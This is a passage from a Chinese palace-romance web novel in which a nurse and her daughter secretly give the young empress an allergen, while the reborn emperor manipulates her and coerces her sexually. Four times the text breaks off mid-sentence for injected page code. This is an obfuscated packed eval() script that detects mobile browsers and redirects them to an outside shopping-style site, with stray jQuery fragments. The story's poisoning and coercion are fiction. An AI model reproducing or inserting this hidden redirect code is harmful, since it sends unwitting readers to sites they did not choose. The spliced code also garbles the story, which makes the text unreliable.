瞿氏喜不自胜:“这可是圣恩哪!女儿你总算熬出头了!” 季容也十分意外,她以为皇帝没留意自己,没想到竟然、竟然、 季容:“必定是上回陛下来未央宫,知道我能断文识字,记下了,故而叫我去御前伺候!” 郁稚也跟着欢喜:“恭喜容姐姐了,御前宫女可是个很体面的差事,我也跟着脸上有光!” 季容心道她可不只是想当御前宫女那么简单,她早晚要将郁稚这个蠢货从皇后位置上踹下去! 瞿氏抱着季容,“我的女儿就是比旁人优秀!别的女人都是睁眼瞎不识字,连自己的名字都不会写,我女儿自幼读过百家姓,三字经!” 郁稚站在边上瞧着她们母女相拥,笑意渐渐就淡了,她也不识字,甚至不会写自己名字...... 季容去了御书房。中午瞿氏伺候郁稚用膳。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14050219|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “阿母我要食肉。”郁稚饥肠辘辘,恨不得上手去抓。 瞿氏端来放了软筋散的甜羹,“皇后这几日空着肠胃,还是先食了甜羹垫垫肚子。” 郁稚听话饮下,瞿氏又端起瓷碗给她喂饭,小皇后立即吃得脸颊鼓鼓囊囊,瞿氏心道若她的容儿即将飞上枝头,自己哪里还需要在这伺候废物! “皇后今年已满十六,老奴不能总这么伺候娘娘用膳,娘娘今日自己学着用筷吧!”瞿氏说完讲碗筷往桌上一丢。 郁稚:“可我喜欢阿母喂膳......” 瞿氏冷冷站在边上不搭理她。 郁稚实在饿极了,于是便握起筷子,精雕的象牙筷箸膈手,她的手腕软绵无力,几次都夹不起来那块卤牛肉,郁稚如犯了错的孩子,偷偷瞧了瞿氏,发现阿母仍不心软。 于是她伸手去抓碟子里的卤牛肉往口中塞,就如同她幼年时那般狼狈。 她有些委屈,原来即使容姐姐高升了,阿母也没有回心转意。 郁稚自己也有羞耻心,沾染了卤汁的手并没有再去碗里抓饭,她就这么饿着,阿母一定会心疼她的。 午睡过后,她浑身忽得发痒,不挠还好,一挠就出疹子,“阿母......” 瞿氏看过之后,“娘娘可是食了蜜桃?” “没有,我没有食蜜桃。”郁稚一食蜜桃就出疹子,故而她从来不用。 瞿氏立即取了药膏来替郁稚涂,可是涂完却更痒了,手臂上起了大片红疹。 瞿氏有些得意,她特意在甜羹与这药膏里加了蜜桃汁,如此皇帝见她这模样,必定不会宠幸了,那季容就有了侍寝的机会! 然而夜里皇帝并没有来未央宫,瞿氏更欢喜了,想来女儿手段了得,将皇帝留住了! 郁稚难受了一夜,晨起想沐浴,瞿氏却不知去向,未央宫的宫女没瞿氏吩咐,都不敢替她沐浴。 晌午时瞿氏欢欢喜喜地回来了,“皇后娘娘,陛下封容儿为玉美人,往后就住未央宫偏殿!” 郁稚此时衣衫不整,手臂上痒得都被自己挠破了,听到这消息一时怔忡,原来皇帝宠幸了容姐姐,所以他没有来未央宫。 “恭喜阿母,恭喜容姐姐了......” 圣旨已下,内务府派了宫人来布置未央宫偏殿,瞿氏忙前忙后地张罗,中午时候季容便在宫女的簇拥下回来了,她满脸得意,意气风发,满身珠翠环绕,朝着郁稚行了一礼。 “给皇后娘娘请安。” “容姐姐快请起。”郁稚去扶她起来。 原来昨夜皇帝通宵批阅奏疏,季容在边上伺候文墨,皇帝知道季容还学过诗经便问了几句,季容对答如流,十分欣赏她。 瞿氏:“儿啊你必定累坏了,快回偏殿休息。” 季容:“伺候陛下哪里会累,母亲陪我回房,我再同你细说昨夜的事!!” 寝宫里的人一下都走光了,郁稚独自坐在皇后宝座,忽得眼睛酸涩,她不是嫉妒容姐姐,她只是希望阿母能同从前一般温柔待她罢了...... 夜里萧歧终于来未央宫了,郁稚莫名有些欢喜。 前些日子她还深深惧怕这个男人,怕他孔武有力的身躯,怕他浓稠如墨的眼神,这一回他来了,自己怎么会欢喜呢? 11.第 11 章 皇帝来用晚膳,小厨房备了好多菜,然而瞿氏不伺候郁稚用膳,郁稚不会用筷,也不能在皇帝面前失仪,故而一口没用。 季容不请自来,站在皇帝身边伺候。 “玉美人也坐下一道用膳吧。”皇帝道。 “臣妾遵命。”季容挨着皇帝坐下,“瞧着娘娘都没怎么用膳,可是胃口不好?” 瞿氏道:“皇后身上起了大片疹子。”说着抬手撩起郁稚的袖子,“陛下您瞧。” 皇帝:“可有命御医诊断过?” 郁稚张口想解释,季容又道,“皇后娘娘去宫外,定是沾了什么不干净的。听说还险些被人虏进教坊,皇后娘娘往后可不能这么任性了!” 容姐姐怎么这样说呢......郁稚伤心极了。 瞿氏:“皇后身上不好,今夜不能侍寝,免得过了病气,陛下还是住在偏殿吧。” 萧歧不动声色地看着这对母女演戏,再瞧瞧小皇后的神情,唇角微微扬起,“私自出宫一事,朕已经训斥过皇后了,皇后年轻,正是贪玩的年纪,只是下一回得带着侍卫,免得叫朕忧心。” 郁稚瞧着皇帝,他语气冷冷的,但这番话却叫她暖心。 “行了,皇后好好养病,朕今夜宿在偏殿。” 季容欢喜不已,跟着皇帝一道离开了皇后寝宫。 ...... 深夜,郁稚孤零零坐在凤榻上落泪,阿母去偏殿伺候了,再没有管过她,她在浴殿用冰冷泉水沐浴,胡乱披了件寝衣,此刻身上更痒了,腹中饥饿。 记得幼年时,自己在鲁国公府的偏僻阴暗一隅,着破布食剩饭...... 秋夜雷雨,郁稚不住地哭泣,即使进了皇宫,登上皇后宝座,如今身在富丽的未央宫,她还是这样狼狈...... “不是你求着朕宠幸季容,怎么又哭了呢?”低沉而无奈的声音想起。 郁稚慌忙擦干眼泪抬头望过去,皇帝就这般立在床柱旁,静静地看着她哭,不知她看了多久。 她迷茫,“陛下不是去了容姐姐房里......” “回朕的话。”男人的语气不容置喙。 郁稚解释自己哭的缘故,“臣妾只是身上太痒......” 男人撩起她寝裳衣袖,手臂被她挠出了血。郁稚还要去挠,被萧歧按住了手臂,拿起枕边药膏。 郁稚不太确定,皇帝是要给她擦药么? 皇帝打开药瓶,淡淡香甜味溢出,“你不是碰不得蜜桃么,药膏里怎么掺了蜜桃汁?” “啊?”郁稚凑过去轻闻,果真闻到了蜜桃香气,“该是阿母无意间拿错了药膏......” 皇帝轻蔑嗤笑,“皇后还要自欺欺人么?难道不是你那位好阿母故意为之?” 郁稚再笨也知道皇帝的意思,阿母想皇帝去容姐姐房里。 皇帝命人送来药膏,耐心替她擦拭,新药膏冰冰凉凉,疹子消下去大半,郁稚心里暖融融的,抬眸瞧着男人,其实他生得很好看,眉目狭长,面容英挺。 “其实也没有那么吓人......”她不自觉嘀咕道。 “是在说朕么?”皇帝忽然抬眸看她。 郁稚顿时如惊惊弓之鸟,咬住了唇瓣,睁着湿润的眼眸与他对视。 萧歧莫名一笑,十六岁的郁稚虽然愚蠢,也比二十六岁的她多了几分灵动可爱,更不会强势地拒他于千里之外。 但这并不代表他会宽恕她。 “将寝衣褪了。”皇帝慢条斯理地刮了一层药膏,似是从这般小事中获得了乐趣。 皇帝很温柔,可郁稚总觉得哪里古怪,“其实臣妾可以自己上药,不必劳烦陛下......” 皇帝就这么凝视着她,他身着坠地的玄色广袖长袍,散着发,全身上下再无缀饰,可郁稚觉得这比起满身铠甲的他更具君王气势。 郁稚褪了寝衣。 “皇后太纤柔,若是想孕育皇嗣,还是得吃得丰腴些。”萧歧道。 十六岁的郁稚太过青涩纤瘦,指尖轻触,她就微颤,红晕爬上瓷白脸颊。皇帝替她擦药,他很认真很温柔,明明已经侍寝过数回,可她还是想闪躲。 “告诉朕,为何要哭?”他垂首亲近她。 郁稚心脏怦怦直跳,她向来都是对皇帝避而远之的,可今日很奇怪,她也想躲开,却不是因为恐惧而躲开。 他的手轻轻抚她,郁稚觉得自己成了砧板上的鱼,皇帝只是为了擦药不是欺负她,是她自己多想了。 十六岁的郁稚真的很好欺负,萧歧从中获得了别样的欢愉,“因为朕去了季容房里,皇后觉得被冷落了,所以哭呢?” 皇帝的声音也格外温柔,郁稚避无可避,眼眸湿漉漉的,“臣妾、臣妾......” 她无所适从地去扯开他的手心。 男人掌心顿时失去了温软,“皇后怎么了?不擦药了么?那你告诉朕为何要哭?” 他垂首几乎贴在她鬓发,郁稚心慌意乱的实在招架不住。 进宫之前,父亲叮嘱过她,绝对不能心生妒意,君王最厌恶妃嫔之间的争斗嫉妒,她摇头道,“臣妾没有嫉妒容姐姐,臣妾绝对没有。” 男人唇角微微下抑,看来他的皇后不知道他要听什么。 郁稚身在皇后之位已是如履薄冰,绝对不能背上善妒罪名,郁稚哭诉,“因为容姐姐被封为玉美人之后,阿母冷落了我,故而我才哭的。” 郁稚发现皇帝的脸色却越来越阴沉,他果然不喜善妒的女人! “臣妾是因为阿母而哭,绝对不是因为陛下而哭!”少女语无伦次地解释完,已经泪流满面。 “诶诶?” 下一瞬间,郁稚就被皇帝拽下了凤榻,她只来得及拽过寝衣胡乱往身上披,连绣鞋都没穿好。 皇帝打开机关,将人带进地下密室。 郁稚再度听见了偏殿传来的声音,她捂住了耳朵,她不要偷听阿母与容姐姐的话!! 皇帝偏不纵着她,将她捂耳的手臂拽开,偏要她听。 郁稚拗不过他,又羞又恼气得攥紧了拳头,倔强瞪着皇帝。 “给朕听着!”男人很声低语。 “可是陛下又说要通宵批阅奏疏,不能留在我房里,明日若陛下再来,说不定又被那狐狸精勾去了!” 瞿氏:“女儿别忧心,我日日在那废物的汤羹里放蜜桃汁,还有那药膏,叫她奇痒难耐,陛下再也不肯近她的身!” 原来真的是阿母...... 郁稚潸然泪下,阿母自小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14062519|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼爱她,如今为何这般对她...... 季容:“母亲就不能下狠手,了结这废物么?!她不识字,坐在皇后宝座上,若是叫天下百姓知道,还不贻笑大方!” 瞿氏:“她好歹身在后位,对我们有益处,倘若就这么没了,其他妃嫔当上皇后,那还有我们母女好日子过么?眼下你早日怀上皇嗣要紧,我们母女俩一生荣华富贵享用不尽!” ...... 郁稚赤着足,地面冰凉,皇帝松开她的手腕,她却没有再捂耳朵,阿母与容姐姐一直咒骂她...... 最后她精神恍惚被皇帝牵着离开了密室。 郁稚一直哭一直哭。 “地上太凉,穿鞋。” 男人俯下他高大身躯,捏起少女软绵玉足为她穿上鞋,郁稚泪眼婆娑怔怔瞧着,“陛下对臣妾真好......”带着哭腔,神情真挚,布满抓痕的手臂颤悠悠地环住了男人的劲腰。 “呜---”郁稚一头扎进皇帝怀里失声痛哭。 雨夜无家可归的幼猫,只需稍稍安慰几句,便死心塌地了。 “皇后不要伤心,你的阿母不要你,朕要你。”他将她抱到怀里,掌心探入她浓密发丝轻声安抚,“朕是你的夫君,朕才是永远不会抛弃你的人。” 男人的声音似蛊惑,郁稚感受着他温暖宽厚的胸膛,不禁用额头轻轻摩挲他的衣裳,从前对他的恐惧一扫而空,此时此刻在他怀里,她觉得格外安心。 咕噜噜-- 肚子却在此刻不争气地叫唤起来,她一整日都没好好用膳。 皇帝命人传膳,郁稚看着面前一大桌精美膳食,她不会用筷,抬手要去抓碟子里的肉,还抬眸悄悄打量皇帝的反应。 皇帝不禁腹诽,她真跟幼兽无异。 “郁稚,不许用手。” 这一声又将她吓住了,郁稚缩回手,如犯错的稚子般抬眸看着皇帝。 “不要用手抓,朕来侍候你用膳。”萧歧从中获得了乐趣。 “啊?”郁稚惊讶,这世上除了阿母,没有喂她吃饭。 十六岁的郁稚就是一只落单的幼兽,这样软弱可欺。萧歧执起碗筷,夹了片卤牛肉喂给郁稚。 郁稚早就饿昏了头,张口就去咬,软糯米饭下肚,顿时止了饥,她稍稍瞄了一眼糖醋排骨,皇帝便夹了一块喂到她口中。 酸酸甜甜的郁稚吃得眉眼都舒展开来,完全将方才的伤心事抛诸脑后。 皇帝夹了第二块糖醋排骨,郁稚张口来吃,他却抬手将排骨拿高些,少女微微蹙眉,立即跪坐起身来握住他的手腕,凑过来咬住排骨。 萧歧曾在北境养过一群狼崽,他的皇后与嗷嗷待哺的狼崽无异。 最后郁稚就着皇帝的手,饮下碗中的热汤,吃得心满意足,独自微微鼓起。 郁稚:“陛下有读心术不成?怎么知道臣妾爱吃这些?”满桌的膳食都是她最爱吃的。 男人搁下碗,取过帕子替她擦拭唇角。 萧歧微微笑道,“朕是你的夫君,自然会观察皇后的喜好。” “可是陛下如何知道臣妾不能食蜜桃?”皇后跪坐在椅榻上,睁着润眸好奇问皇帝。 男人神情霎时凛冽,小妖后!说她愚笨倒还有些机灵! 12.第 12 章 “可是陛下如何知道臣妾不能食蜜桃?”皇后跪坐在椅榻上,睁着润眸好奇问皇帝。 男人神情霎时凛冽,小妖后!说她笨倒还有些机灵! 他倒是没察觉自己竟然露出了破绽,但十六岁的郁稚很好欺哄,皇帝并不慌乱,“朕听你父亲鲁国公提起过。” “父亲并不知道,容姐姐也不知道。”郁稚顶着人畜无害的小脸,一本正经继续道,“阿母也是最近才知晓,她肯定没有同陛下说过,所以......陛下怎会知道?” 少女黑白分明的眼眸直勾勾地看着皇帝,要他一个答案。 男人身躯僵在原地,抿着唇神情肃穆。亲手喂养的幼狼崽子,也会无意之间用尖锐的牙齿伤人。 “你会梦呓。” “啊?臣妾会梦呓?”少女眼神天真无辜,追问他道。 “你曾梦呓说朕很凶悍,你很惧怕朕。”男人说谎眼都不眨,满意地看着皇后露出心虚的神情。 “臣妾还说什么了?”她不安地继续追问。 皇帝悠闲地靠坐椅榻,反客为主道,“你说希望朕永远待在北境,一生都不要回来。” 郁稚脸色苍白,这确实是她的心里话,皇帝没有欺哄她,原来她真的会梦呓。 “对了,皇后不识字么?”皇帝话锋一转忽然问道。 “这也是臣妾梦呓透露的?!”郁稚已经快哭了,一双美目泪津津的。 郁稚坐在皇后宝座上,一直如履薄冰,她知道自己是个废物,大字不识、不会宫务、连自己穿衣用膳都不会,连皇帝身边的宫女都比不上,后宫人和一个妃嫔比她更有资格当皇后! 萧歧轻笑,“这倒不是梦呓,方才在密室,听见季容说的皇后不识字。” 郁稚僵在了原地,容姐姐害她啊! 萧歧:“朕不大相信,鲁国公怎么胆敢将不识字的女儿送入皇宫,那岂不是叫天下人耻笑?” 郁稚怔怔地点头,抿着唇不敢言。 眼看着她有快哭了,皇帝息事宁人,“去沐浴?然后朕替皇后再上一遍药?” 郁稚战战兢兢,她不会自己沐浴,连擦发油都不会。 “过来,朕来侍候皇后沐浴。”萧歧莫名从中获得了乐趣,如此悉心的照料,仿佛她整个人为他掌控,为他所有。 皇帝很温柔地侍候她沐浴,替她擦干身上水珠,给她抹了桂花头油,最后替她仔细上了药膏,穿好寝裳。 这双粗粝的手远比阿母更温柔。 皇帝满意地看着床榻上的郁稚,乌发柔顺,身上沁着淡淡馨香,清纯乖顺,再不是前世那个拒人于千里之外的郁后。 “三更了,陛下不回太极殿休息么?”郁稚问他。 “朕今夜不能留宿?”男人语气暧昧。 郁稚:“陛下不是骗容姐姐说政务繁忙,若是明日清晨她知道陛下留宿,那岂不是穿帮?” 郁稚惴惴不安地看着皇帝,他神情阴沉,忽得就笑了,露出森白的牙齿。 “诶?!!” 郁稚哪知道这是皇帝故意为之,在惊呼声中,男人俯身扣住少女足踝,不费吹灰之力地将她拽到身前。 “若是不想叫你容姐姐就闭上嘴!”他狠声威胁道。 郁稚立即捂住了唇,眼看着立在榻侧的皇帝抽了玉带,褪下外袍。 “皇后梦呓可不止说了那些。”他俯身过来,男人宽肩窄腰,几乎将内室的光亮遮了个干净。 郁稚忐忑不安,“臣妾还说了什么?” “皇后说要杀了朕。”萧歧开始了他的逗弄。 “臣妾怎么可能弑君!!”少女心急如焚地辩驳。 男人指尖拂过她浓密发丝,凑近轻吻,是他亲手擦拭的发油好香。 郁稚一时分心,皇帝捏着她的手腕按在他胸膛,“皇后说要用那柄匕首扎进朕心口。” 郁稚辩驳,“臣妾只是做过这样的噩梦!” “噩梦?”男人眸色幽深。 郁稚:“梦见臣妾误伤了陛下,可那只是梦,臣妾万万不敢伤了龙体!” “告诉朕,梦里你伤了朕何处?” 皇帝的眸光凛冽渗人,郁稚噤声不敢言语。岂料皇帝按着她的手缓缓下移,最后停在了他轮廓分明的腹侧,“是这儿么?” 郁稚连呼吸都是停滞的,萧歧就这么凝视着她,她梦见了前世。 “皇后可知匕首扎入腹有多疼么?” “这只是梦......”郁稚不敢对上男人的眼睛,他似地狱归来的怨灵,要将她生吞活剥了! 男人森白的牙微启,咬在她颈侧,如同受伤困兽狩猎。上一世的郁稚在瞿氏死后蛰伏在他身边虚与委蛇,而他任她予取予求,他见过她的野心,见识她的谋略智慧,欣赏她培养她,而她却亲手将冰冷的匕首扎入他的腹。 “这当然只是梦。”他微微松口,品尝着齿间的血腥,她的血大约比别人更甘甜一些。 “皇后记住了,下一回朝着心口刺,如此才可以一击毙命。” 亲手穿上的寝衣,他又重新解开。郁稚很乖顺,虽然她不明白一个梦怎么会叫皇帝恼火,但他是君王,若他对她起了杀意,不用任何理由。 她主动讨好他,云娘教她的本事在此时派上了用处,甚至俯身去吻梦中他受伤之处,梦里匕首扎入,鲜血淋漓。 萧歧垂眸看着他的皇后,卑微而乖巧,他心安理得地享受着她的讨好,不禁轻笑,郁稚啊郁稚,朕的皇后,若你此时看到十六岁的你卑躬屈膝跪在朕面前,会不会气到发疯! ...... 皇帝在卯时下榻,穿戴齐整,望着榻上的皇后,她伏在榻上,浓密乌发着雪背。她是销魂的,不论是十六岁还是二十六岁,他的皇后都叫他饱尝那欲念滋味。 “不许再饮瞿氏送上的甜羹,朕不想再替你擦第二回药!” 萧歧离开时故意敞着门,黎明时分,整座皇宫渐渐苏醒,宫女门晨起洗漱,偏殿的灯火也亮了起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14080925|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他心安理得地离开了未央宫。 郁稚是被季容的惊呼声吵醒的。 榻上少女沉睡,带着云雨过后的慵懒,她跪坐起身立即扯过被褥遮住自己,通身雪白,瓷白脸颊透着红润,浑身散发着滋润过后的美。 “昨夜陛下留宿未央宫了?!!”季容惊呼道,她气恼得五官扭曲。整个未央宫的人都知道,昨夜陛下因为政务才没留宿偏殿,没想到居然宠幸了皇后,这叫她这位新封的玉美人还有什么颜面! 郁稚沉默不语,她睡过头,叫容姐姐发现了真相。 “你这个娼、妇!”季容踩上榻,揪住了郁稚的头发打她。 郁稚未着寸缕,双腿无力只能四处躲闪,最后还是瞿氏劝住了女儿,郁稚这个废物再碍眼也是皇后,若是打伤了叫皇帝知道就不妙了。 瞿氏压下怒意,悉心替皇后沐浴更衣,“皇后还记得我说过的关于你母亲的事。” 郁稚顿时精神起来,“阿母再同我说说!” 瞿氏是郁稚生母的的挚友,她经常央求瞿氏说母亲的事,每次都要要央求很久很久,瞿氏才肯透露。 瞿氏语气不善:“那时你母亲生得美貌,得鲁国公专宠,惹得府里的夫人与其他几房妾室新生忌恨,我几次告诫说她不要得意,得劝着国公雨露均沾,可她偏偏不听,得罪了国公府后院所有女人。故而那个雨夜她跌倒早产,其他姬妾明明听见了呼救声,都不可肯去禀告国公大人,这才香消玉殒。当时你也没气了,若非我抱着你去找大夫,你也活不成了!” “我这条命是阿母救的,我一直都记着这份恩情。”郁稚哭诉道。 “所以阿母求你多让着点你容姐姐,若是她能生下皇子,也能算作你的孩子,你父亲也会欢喜的!” 郁稚思索着点头。 “我们都是一家人,不像宫里其他妃嫔。若是叫她们生下皇长子,我们娘几个的日子都不好过。” 郁稚点头,“阿母说得对,我会劝着陛下去容姐姐寝宫。” 瞿氏心满意足地点头,替她梳完头发,亲手端了一碗甜羹,沐浴氏瞧见废物身上的疹子都消了,于是又多加了些蜜桃汁。 “阿母,我今日不想食甜。”郁稚拒绝道。她没忘记皇帝的命令。 瞿氏正色道:“这是阿母亲手煮的甜羹,你向来最喜爱,怎么今日不吃了?” “不是的阿母,我只是、只是、” 瞿氏哭诉道:“我明白了,你容姐姐封了玉美人,你心生忌恨,连带着恨上我这个阿母了!若你不再要我,那我出宫便是,横竖你容姐姐也说了,我是她母亲,再待在皇宫里伺候你不合规矩!” “阿母别走!”郁稚彻底慌了,“没有阿母,我活不下去!!” “那就喝阿母煮的甜羹,阿母才信你说的话!”瞿氏舀了一勺甜羹。郁稚心一横,张口饮下,没多片刻手臂上又生了疹子,身上远比昨日更痒了! 只盼着皇帝今夜别来未央宫,否则他又要对她发火。 13.第 13 章 深夜皇帝再度驾临未央宫,郁稚不明白,后宫妃嫔云集,他凯旋归来这段时日怎么总召她侍寝,正好今夜将他推给容姐姐,如此阿母会欢喜的。 谢天谢地,她癸水已至。 萧歧今夜来验收成果,他的皇后再懦弱,今日必定拒绝了瞿氏的甜羹,除非她到了无可救药的地步。 “手臂上的疹子可好些了?”萧歧今日心情不错,视线扫过郁稚全身,衣着妥帖,小妖后生得美貌,还很赏心悦目的。 郁稚点头,“臣妾、臣妾今日身上不便,恐怕不能侍候皇帝。”她自己庆幸,终于能歇息几日。 “无妨,朕今夜还是想留宿未央宫。”萧歧不打算离开。 此时瞿氏进寝宫了,“参见陛下。” 郁稚见她手中拿着药膏,顿时心慌,“阿母,我忽得想食糕点,你去将晚膳我没吃完的绿豆糕取来。” 岂料瞿氏将药膏呈到郁稚面前,“娘娘先别惦记甜点了,你身上疹子越发严重了,还是让奴婢侍候你擦药吧。” 皇帝眸光一闪,留意瞿氏手里那瓶药膏,“将药膏放下,朕来替皇后擦药。” 瞿氏恨不得皇帝快去偏殿,“娘娘这疹子恐怕会过给陛下,陛下还是、” “朕命你出去!”男人眼神凌厉沉静,吓得瞿氏不敢言语,将药膏放下就慌忙出去了! 郁稚睁着黑白分明的眼眸望着他。 皇帝打开药瓶轻闻,果然还是掺杂了蜜桃汁。 “诶诶诶!”郁稚转身想逃,却被皇帝揪住了手臂,撩开衣袖,瓷白肌肤上果然再次泛起了疹子。 好啊,很好!皇帝怒到气息跌宕,十六岁的郁稚更令他恼火! 郁稚眼眸一转,“阿母、阿母没有给我递甜羹,是臣妾自己误食了,真的......”少女羸弱可怜,若换做旁人必定心软了,但萧歧此刻只想掐死她了事,竟还敢在他面前说谎,为瞿氏辩驳。 “好啊,朕信你。”萧歧反而安坐下来,“过来。” 郁稚如受惊的幼兽,躲他躲得远远的,泪珠打转,惊恐地凝视着他。 “过来,朕不会伤你,你怕什么?” 男人粗粝而修长的指尖从药瓶中刮了厚厚一层白色药膏,“朕再替皇后上一次药。” 郁稚蜷缩在角落里,皇帝明明知道这药膏是阿母送来的,掺了桃汁。 “过来!”男人的声音沉稳有力,隐含着不容抗拒的气势。 皇帝就是个疯子。 他饶有兴致地替她擦药,掺了桃汁的药膏抹遍郁稚身上每一寸肌肤。 慢条斯理,游刃有余,深秋时节夜里最是寒凉,郁稚只着了小衣与衬裙,不禁瑟瑟发抖,可她不敢动,跪坐在椅榻上。 皇帝这是欺辱她。 最后的药膏,皇帝挑在指尖,拨开少女裙摆。 郁稚惊得按住他的手臂,满眼的恐惧与抗拒,“别、” “皇后身上的疹子,不擦药怎么能好?” 雪肌微微泛红,萧歧怒意蓬勃。她被瞿氏母女迷惑至此,难怪上一世,他提剑砍杀她们母女,她那般记恨。 手腕柔若无骨,怎么能抵挡得了他? 萧歧就是个疯子! 郁稚咬着唇角,泪水滑落,屈辱极了。 粗粝指尖将药膏抹了干净,仍不肯退开,手臂撑在榻缘,近在咫尺地观察着她的神情,男人英挺得眉眼指尖,尽然是冷意。 欣赏够了她的恐惧与伤心,这才退开,亲手扯好她的裙摆,“那么皇后养病吧。” 他离开得决绝,郁稚几乎是奔入浴殿,跳入池子,池水冰凉彻骨,但也瞬间带走了身上的痒意。 肌肤上的药膏洗净了,可其他药膏怎么都洗不干净! *** 翌日清晨,瞿氏问她昨夜皇帝怎么没留宿。 郁稚道:“陛下看我身上起那么多疹子,没了兴致便离开了。” 瞿氏惊呼:“那你不会劝皇帝去你容姐姐房里?!” 郁稚:“......”若是她劝了,皇帝恐怕会大发雷霆。她再笨也明白了,皇帝憎恶她,连带着憎恶阿母与容姐姐。 瞿氏:“你可知道皇帝昨夜去了愉嫔宫里?” “这是真的?!”郁稚太欢喜了,皇帝天天欺负他,他这回总算换个人欺负了!! 瞿氏:“皇后还笑?!你可忘记你进宫前,国公大人如何叮嘱你的?命你早日为陛下诞下龙子,好保全鲁国公府的荣华富贵!若是叫愉嫔她们抢先生下皇子,你以为你的后位还能稳当么?!” 郁稚是个没出息的,她不识字不会宫务就是个废物,与其坐在皇后宝座上,倒不如拱手让人,哪怕当个小小的美人也好,皇帝总不能饿死她吧...... 皇帝再没来未央宫,郁稚可欢喜了,夜里也能早早入眠,阿母也没再在甜羹里放蜜桃汁,身上的疹子也褪了个干净。 可没两日,郁稚的快活日子就到头了。 内务府送来一堆宫务,小太监禀告:“陛下说这些宫务原本就归皇后管,前两年念着皇后年轻,命内务府管着,如今这权柄该交到皇后手中,近日事多,还请娘娘速速裁决,而后命人将文书送回内务府,奴才们好按照命令办事,奴才告退了。” 郁稚看着厚厚一叠文书,“......”她不识字怎么办? 郁稚抱着文书去季容房里,季容乐得隔岸观火,嘲讽道:“您是皇后娘娘,天底下最尊贵的女人,陛下指名要皇后处理宫务,我哪敢越俎代庖?” 容姐姐不肯帮她,于是郁稚又熬了两日。 瞿氏却是坐不住了,“皇后娘娘可知陛下如今每日都召愉嫔、欢嫔去太极殿?歌舞声不绝于耳,陛下龙心大悦,赏赐不少绫罗珠宝,愉嫔、欢嫔如今在宫里横着走!皇后若再不想想法子,我们未央宫可真要失宠了!” 瞿氏母女心急,原以为能夺了皇后的宠,没想到这几日皇帝竟然宠幸旁人去了。 郁稚:“......可是阿母我也不会歌舞呐。” 她就是个废物!!瞿氏气急败坏,这废物虽然无才能,但生了一副好皮囊,一个眼神就能勾住男人的魂!若非身上起了疹子不能侍寝,哪里轮得到愉嫔她们! 季容放话:“方才我在御花园偶遇愉嫔、欢嫔她们二人。那两贱人得了意了,说皇帝今夜又传她们去太极殿。你去一趟太极殿,若今夜能将陛下请来未央宫,我就帮你处理宫务!” “真的吗容姐姐,你可能帮我处理宫务?”郁稚瞬时眉开眼笑。 “你若能截了愉嫔、欢嫔那两贱人的宠,我就帮你!”季容虽然也憎恶皇后,但这废物却有一副好皮囊,她利用皇后来对付愉嫔与欢嫔她们绰绰有余! 郁稚提着一碟牛乳糕去了太极殿。 萧歧重生归来,这几日难得清闲,招了两位妃嫔弹琴跳舞。上一世他驰骋沙场,开疆扩土,以为能得民心,却不想落得个穷兵黩武的暴君名声。 这一世他决定休养生息,好好享受君王的待遇! 愉嫔琴技绝佳,欢嫔舞技超群,皆是地方官送入皇宫的美人,皆比未央宫里那个小妖后能讨人欢心。 萧歧慵懒靠坐椅榻。曾经愉嫔她们眼中的君王高大威猛,金甲加身骑在战马之上,看着叫人敬畏,如今的君王身着素色广袖长袍,青丝披散,瞧着高贵俊美,叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14091433|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人心向往之。 已经连着弹了几日的琴,皇帝今夜总能留她侍寝了吧?愉嫔满心期待。 一曲毕,太监进殿禀告说皇后娘娘来了。 终于忍不住来了,萧歧支着额头,面无表情道,“命她在外候着。”上一世她紧闭未央宫大门,这一世也叫她尝尝这滋味! 郁稚捧着牛乳糕,太极殿内琴声悦耳,隐约可见欢嫔迷人舞姿,她自小过得苦,不曾学过琴技舞技,在这美人如云的宫里,她是最没用的人。 皇帝生着气不叫她进去,可郁稚为着那堆积如山的宫务也得熬着。 直至郁稚冻得手脚冰冷,太极殿的门才打开。 “臣妾给陛下请安。”郁稚脸颊通红,皇帝倒是没想到她穿得如此单薄。 